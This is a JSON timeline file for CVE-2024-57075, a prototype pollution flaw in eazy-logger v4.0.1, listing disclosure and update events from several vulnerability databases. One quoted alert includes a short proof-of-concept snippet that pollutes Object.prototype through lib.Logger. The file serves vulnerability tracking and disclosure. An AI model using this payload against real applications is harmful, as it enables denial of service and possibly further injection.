{"metadata": {"vulnerability": "cve-2024-57075", "count": 20, "kinds": {"milestone": 5, "sighting": 3, "kev": 0, "other": 12}}, "data": [{"timestamp": "2025-01-09T00:00:00Z", "date_only": false, "value": "2025-01-09T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "cve-2024-57075", "field": "cveMetadata.dateReserved"}, {"timestamp": "2025-02-02T00:00:00Z", "date_only": false, "value": "2025-02-02T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "csaf_microsoft \u00b7 MSRC_CVE-2024-57075", "record": "MSRC_CVE-2024-57075", "field": "document.tracking.initial_release_date"}, {"timestamp": "2025-02-05T00:00:00Z", "date_only": false, "value": "2025-02-05T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2024-57075", "field": "cveMetadata.datePublished"}, {"timestamp": "2025-02-05T21:23:42.220Z", "date_only": false, "value": "2025-02-05T21:23:42.220Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / mitre", "record": "cve-2024-57075", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2025-02-05T22:15:31Z", "date_only": false, "value": "2025-02-05T22:15:31Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-R7JX-5M6M-CPG9", "record": "GHSA-R7JX-5M6M-CPG9", "field": "database_specific.nvd_published_at"}, {"timestamp": "2025-02-05T22:15:31.803Z", "date_only": false, "value": "2025-02-05T22:15:31.803", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-57075", "record": "FKIE_CVE-2024-57075", "field": "published"}, {"timestamp": "2025-02-05T22:16:48.071Z", "date_only": false, "value": "2025-02-05T22:16:48.071296Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhhlxm7vmt2n", "record": "CVE-2024-57075", "field": "creation_timestamp", "uuid": "fb8dba5c-ec78-46ab-9e6a-ef0f2935f4cd", "url": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhhlxm7vmt2n"}, {"timestamp": "2025-02-06T06:31:26Z", "date_only": false, "value": "2025-02-06T06:31:26Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-R7JX-5M6M-CPG9", "record": "GHSA-R7JX-5M6M-CPG9", "field": "published"}, {"timestamp": "2025-02-06T06:31:26Z", "date_only": false, "value": "2025-02-06T06:31:26.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://github.com/advisories/GHSA-r7jx-5m6m-cpg9", "record": "CVE-2024-57075", "field": "creation_timestamp", "uuid": "08087e17-6483-42fb-889c-73a0ea338dc3", "url": "https://github.com/advisories/GHSA-r7jx-5m6m-cpg9"}, {"timestamp": "2025-02-06T14:49:38.293Z", "date_only": false, "value": "2025-02-06T14:49:38.293002Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "cve-2024-57075", "field": "containers.adp.0.metrics.1.other.content.timestamp"}, {"timestamp": "2025-02-06T14:49:38.293Z", "date_only": false, "value": "2025-02-06T14:49:38.293002Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-57075", "record": "FKIE_CVE-2024-57075", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2025-02-07T15:02:10Z", "date_only": false, "value": "2025-02-07T15:02:10.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3796", "record": "CVE-2024-57075", "field": "creation_timestamp", "uuid": "ac133d8a-c9c6-4398-b385-7ab7bb13f617", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-57075\n\ud83d\udd25 CVSS Score: 7.5 (CVSS_V3)\n\ud83d\udd39 Description: A prototype pollution in the lib.Logger function of eazy-logger v4.0.1 allows attackers to cause a Denial of Service (DoS) via supplying a crafted payload.\n\nAn attacker can supply a payload with `Object.prototype` setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.\n\nMoreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., `child_process.exec`, `eval`), it could enable an attacker to execute arbitrary commands within the application's context.\n\n## Proof of Concept\n\n```js\n(async () => {\nconst lib = await import('eazy-logger');\nvar someObj = {}\nconsole.log(\"Before Attack: \", JSON.stringify({}.__proto__));\ntry {\n// for multiple functions, uncomment only one for each execution.\nlib.Logger (JSON.parse('{\"__proto__\":{\"pollutedKey\":123}}'))\n} catch (e) { }\nconsole.log(\"After Attack: \", JSON.stringify({}.__proto__));\ndelete Object.prototype.pollutedKey;\n})();\n```\n\ud83d\udccf Published: 2025-02-06T06:31:26Z\n\ud83d\udccf Modified: 2025-02-07T14:34:53Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-57075\n2. https://gist.github.com/tariqhawis/c601f7f85146510ca899a7406a03aba5\n3. https://github.com/shakyShane/eazy-logger", "url": "https://t.me/DarkWebInformer_CVEAlerts/3796"}, {"timestamp": "2025-03-13T14:31:04.080Z", "date_only": false, "value": "2025-03-13T14:31:04.080Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "cve-2024-57075", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2025-03-13T14:31:04.080Z", "date_only": false, "value": "2025-03-13T14:31:04.080Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "cve-2024-57075", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2025-04-07T12:34:01Z", "date_only": false, "value": "2025-04-07T12:34:01Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-R7JX-5M6M-CPG9", "record": "GHSA-R7JX-5M6M-CPG9", "field": "modified"}, {"timestamp": "2025-09-03T22:21:42Z", "date_only": false, "value": "2025-09-03T22:21:42.000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_microsoft \u00b7 MSRC_CVE-2024-57075", "record": "MSRC_CVE-2024-57075", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2026-02-19T01:09:23Z", "date_only": false, "value": "2026-02-19T01:09:23.000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_microsoft \u00b7 MSRC_CVE-2024-57075", "record": "MSRC_CVE-2024-57075", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2026-02-19T01:09:23Z", "date_only": false, "value": "2026-02-19T01:09:23.000Z", "kind": "other", "label": "Updated", "source": "csaf_microsoft \u00b7 MSRC_CVE-2024-57075", "record": "MSRC_CVE-2024-57075", "field": "document.tracking.current_release_date"}, {"timestamp": "2026-02-21T01:32:19.019Z", "date_only": false, "value": "2026-02-21T01:32:19.019Z", "kind": "other", "label": "Document generated", "source": "csaf_microsoft \u00b7 MSRC_CVE-2024-57075", "record": "MSRC_CVE-2024-57075", "field": "document.tracking.generator.date"}, {"timestamp": "2026-06-17T08:13:17.013Z", "date_only": false, "value": "2026-06-17T08:13:17.013", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-57075", "record": "FKIE_CVE-2024-57075", "field": "lastModified"}]}